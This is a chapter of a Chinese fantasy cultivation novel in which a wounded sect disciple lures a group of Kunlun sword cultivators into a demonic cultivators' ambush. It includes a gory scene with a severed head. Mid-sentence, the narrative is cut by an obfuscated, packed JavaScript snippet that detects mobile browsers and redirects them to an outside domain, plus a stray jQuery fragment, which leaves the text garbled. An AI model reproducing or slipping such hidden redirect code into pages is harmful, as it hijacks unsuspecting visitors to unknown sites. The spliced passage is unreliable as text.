“话说,这到底是什么东西?身上有值钱地方吗?”
齐怀玉站在异兽庞大的尸体旁边,用剑尖拨弄了两下,他觉得那身鳞片还挺不错的,硬度超级高。
打开地图看了一眼无垢谷的特产,云醉才淡声道:“没有。”
“好吧。”齐怀玉遗憾的甩掉剑上沾染的异兽血液,利落收剑,转身看到莫浔时,脸上有些诧异,“花师妹,你怎么回来了?难不成那人已经——”
“还活着。”
莫浔直接打断他:“先离开这里,刚刚那个异兽叫声很大,说不准会引来什么。”
她一直有种不太妙的预感,像是有什么事即将发生,这几个人还都是一副燃尽了的样子,万一再来个什么东西,那岂不是要全靠她了。
返回时,那个浑身是血的修士已经清醒。
男人挣扎着坐起身,咳出几口淤血,才一脸感激的拱手:“多谢几位道友的救命之恩!在下是藏羽门弟子,赵仁。”
说着,他掏出了用于证明身份的弟子玉牌,在没人接话的寂静中递给了看起来最面善的凌舟。
莫浔瞥了一眼,弟子玉牌这玩意是用神识认定的,基本没有伪造的可能。
只是···藏羽门的名声不算太好,据说加入其中的弟子就算光明正大的修魔功也无人干涉,在三十六门里属于亦正亦邪的那一类。
因为地理位置正处于玄天界与魔域交界,环境恶劣,还要负责清理流窜的魔族,其他宗门对此都是睁只眼闭只眼的态度,只要藏羽门行事不过于出格,闹到明面上弄得人尽皆知,他们就可以当作不知道。
凌舟随意看了两眼,脸上依旧挂着那副看不出深浅的笑意,将玉牌还回去:“道友不必放在心上,我们昆仑弟子遇见这种事向来乐意搭把手。”
“竟然是昆仑仙府的道友!”赵仁流露出明显的惊讶,随即像是想起了什么,眼神变的复杂起来,他压低声音,语气凝重:“道友们若能离开,还是尽早离开秘境为妙,有魔修混了进来,不知又在暗地里谋划些什么。”
“魔修?”凌舟双眸眯得更细了,“赵道友可否细说一二?”
赵仁也知道自己的门派风评不怎么样,特意先强调自己与魔修无关,才开始说明他们是如何遭遇魔修暗算。
“···他们最少进来了两支队伍,互相配合极为默契,行事谨慎,在伏击我们时,起码设下了三重陷阱,仅是一个照面,与我一同进来的四个同门便···”
他声音低了下去,摇摇头,脸上闪过痛苦与后怕,似乎不愿再回忆同门惨死的具体情形。
“我侥幸逃脱,却又遇上异兽,幸得几位相救,才没有沦落为异兽的口粮。”
要注意的地方太多,莫浔一时不知道该从哪方面入手。
但她可以确定,这附近必定有个魔修宗门。
能主动去当魔修的人大多个性怪异,多是散修,就算为了进秘境一起组队,也不可能进来后继续合作,更别说还是两队一起。
这么有组织的行动,大概率是经过专业培训的。
边境地带时不时就会出现魔修宗门搞事,然后被围剿,属于是让人见怪不怪的自然规律。
凌舟脸上的笑意淡去几分,魔修混入秘境,且行事如此周密···怪不得黎温会出现在这里,如今想来,多半是为了探查魔修之事。
“多谢赵道友告知此事,事关重大,此处秘境有樊楼坐镇,若是能联系上樊楼,说不定会有什么对策。”
凌舟清朗的嗓音多了些凝重,目光扫过四周千篇一律的纯白,“只是···这无垢谷诡异非常,我们来时留下的记号尽数消失,此刻···怕是难以原路返回了。”
他语气无奈,带着若有若无的试探。
以藏羽门的名声···说实在的,这个赵仁嘴里的话,凌舟一个字都不信。
有争议的宗门有很多,那些支持者和反对者在灵网上常年争吵,他还挺喜欢看的。
支持者的观点不外乎就是,一个宗门那么多人,有几个给宗门抹黑的存在也很正常,要看大部分,不要因为那一小撮人打翻一船人。
大多数情况下,凌舟是赞同这个观点的,藏羽门便是那少数情况。
修魔族功法在一些极端正道修士眼里,是一种可以开除人籍的行为。
因为种族的不同,魔族修行的功法对人族来说并不适配,强行修炼最后只会失控,变成如妖兽一般丧失人性没有自我意识的牲畜。
在这种后果下,藏羽门高层对魔修弟子还是一种支持的态度,这就足以让凌舟在与任何藏羽门弟子打交道时,都事先做出最坏的预想。
倚着石壁、面色依旧苍白的赵仁犹豫了一下,开口道:“诸位道友···若是为了寻路,在下···或许能帮上一点忙。”
见几人目光投来,他解释道:“我被那异兽追赶时,慌不择路,但也怕彻底迷失,沿途···也勉强做下了一些极隐蔽的记号,可以去碰碰运气,若是没消失,说不定就能直接出谷。”
“如此甚好。”凌舟当即颔首,脸上重新挂起那抹令人捉摸不透的笑意,“那便有劳赵道友了。”
白霜华抱起手臂,打量了一下赵仁仍显虚弱的模样,蹙眉道:“你撑得住吗?别走到半路晕过去。”
赵仁勉力站直身体,扯出一个笑容:“道友放心,在下已经好的差不多了,绝不会拖累诸位。”
他深吸一口气,努力辨认了一下方向,抬手指向一侧,“我依稀记得···是从这个方向逃来的,第一个记号应在前方不远处的某块岩石裂隙中。”
记号确实还在,一行人再次动身,只是行进的速度极慢。
带路的赵仁时常需要停下脚步,仔细辨认那些自己留下的、极其隐蔽的痕迹。
[花师妹,你觉得这个藏羽门弟子可信吗?]
耳边突然响起齐怀玉的传音。
莫浔神色没有任何变化,眼睫都未颤动一下,平静回道:[别想太多,让凌师兄判断即可。]
专业的事还是要交给专业的人,在人际交往这方面,凌舟显然十分专业。
不过,眼下这个人不用他判断,莫浔就能笃定有问题。
自踏入无垢谷起便一直如影随形,若隐若现的那股阴冷气息,在这一路上越发浓重,如附骨之疽一般紧紧黏附在感知中。
这明晃晃的魔气,若再察觉不出来,她前面的一百多年真是白活了。
莫浔不动声色的将手探进储物袋。
把别的剑挂在腰上被苍澜发现肯定会没事找事的作妖,她不用剑的时候都是收在储物袋里。
然而,从储物袋突然掏剑的动作还是太显眼了,即便莫浔在握住剑柄的瞬间就毫无征兆的迅速出手。
走在最前面带路的男人还是于千钧一发之际猛地侧身,险而又险的避开了致命一击。
凌厉剑锋只在他脖颈处划开一道深可见骨的血口,未能直接斩断。
赵仁捂住鲜血喷涌的脖颈,因失血而苍白的脸逐渐狰狞起来。
以藏羽门的名声,他本就没奢望过这几个昆仑剑修会相信他,只是万万没想到会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307248|178888||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有人不声不响的直接动手。
反正已经把人引进了圈套里,他也懒得多说什么,伸手一挥,顶着气管被划伤的嘶哑嗓音低吼道:“还等什么!快动手!他们是昆仑剑修!”
话音未落,一道暗红色的光幕骤然冲天而起,如倒扣的碗一般瞬间笼罩住这一方天地。
十余道身披黑袍,魔气森森的身影从隐匿处现出身形,将他们团团围住。
为首的黑袍人怪笑两声,“干得不错,大宗门弟子的品质可要比那些小鱼小虾强上不少。”
眼看赵仁一张嘴就往外喷血,那黑袍首领屈指一弹,一道黑气便如毒蛇般缠绕上他的脖颈。
魔气翻涌下,伤口飞速蠕动愈合。
赵仁捂着脖子跪在地上剧烈咳了几声,才抬头急声道:“既如此···他们应该足以抵偿剩下的人数,您也该信守承诺,放过我们了吧?”
“你在跟我讨价还价?”
黑袍首领语气陡然阴森下来,伸手打了个响指。
“大人饶命!我这就去找下一个猎物!求求大人饶我这一次,不要——”
求饶的话戛然而止。
又一个黑袍人如同鬼魅般凭空出现,随手扔下了一个血淋淋的东西。
圆形的血团在地上咕噜噜滚到赵仁眼前。
是一颗头颅。
宛如承受了极大的痛苦一般面目狰狞,无神的双目与他对上视线,依稀可以辨出生前的模样——是他那被魔修当作人质的同门师弟。
剩余的所有话语,瞬间死死的卡在了赵仁的喉咙里,化作无声的恐惧。
“工作态度要认真,你看,就因为你的疏忽,这孩子只剩下了一颗脑袋。”
黑袍首领提起了那颗血淋淋的头颅,贴到浑身颤抖的男人脸前,以一种满带恶意的惋惜语调继续道:“孤零零的,多可怜啊,你那个娇滴滴的师妹要是也变成这样该怎么办呢?”
暗红色的屏障内部有封锁灵力的禁制,没了灵力的修士就像跳上岸的鱼一样无力到只能任人宰割。
莫浔站在里面旁观外面的戏剧性场面,黝黑的双眸深不见底。
魔修没有同理心,也没有道德,一切属于人类的品质它们都没有,自然也不存在说话算话。
莫浔一向不能理解那些相信魔修的人脑子里是怎么想的。
明明就是披着人皮的牲畜而已。
从通人性这点来看,它们连魔族都比不上。
暗红光幕如同活物般缓缓收缩,一个造型古朴,两头尖细的长条型法宝出现在光幕上空。
“天阶法宝,破界梭···”
凌舟一眼便认了出来。
光从名字就能知道这个法宝的作用,能破开界壁,将他们强行带出秘境。
黑袍首领哈哈大笑起来:“不愧是昆仑仙府出来的,见识不凡啊!可惜,运气不好。”
强烈的空间扭曲感袭来,连脑子都像是被掏出来滚了一圈,待意识恢复正常时,面前已经从一片纯白的山谷变成了阴暗潮湿的山腹洞窟。
空气中弥漫着浓重的血腥味与绝望的魔气。
洞窟内或坐或躺,竟有数十名衣衫褴褛、神色萎靡的修士,个个灵力被封,如同待宰羔羊。
而在这群俘虏之中,一个略显突兀的身影让莫浔目光微顿。
月白长衫沾染些许污渍,发丝稍显凌乱,但神情却异常冷静,并无其他俘虏那般惊惶。
——是前不久见过的黎温。
他同样被特殊的禁制锁链束缚着,正靠在岩壁旁闭目养神。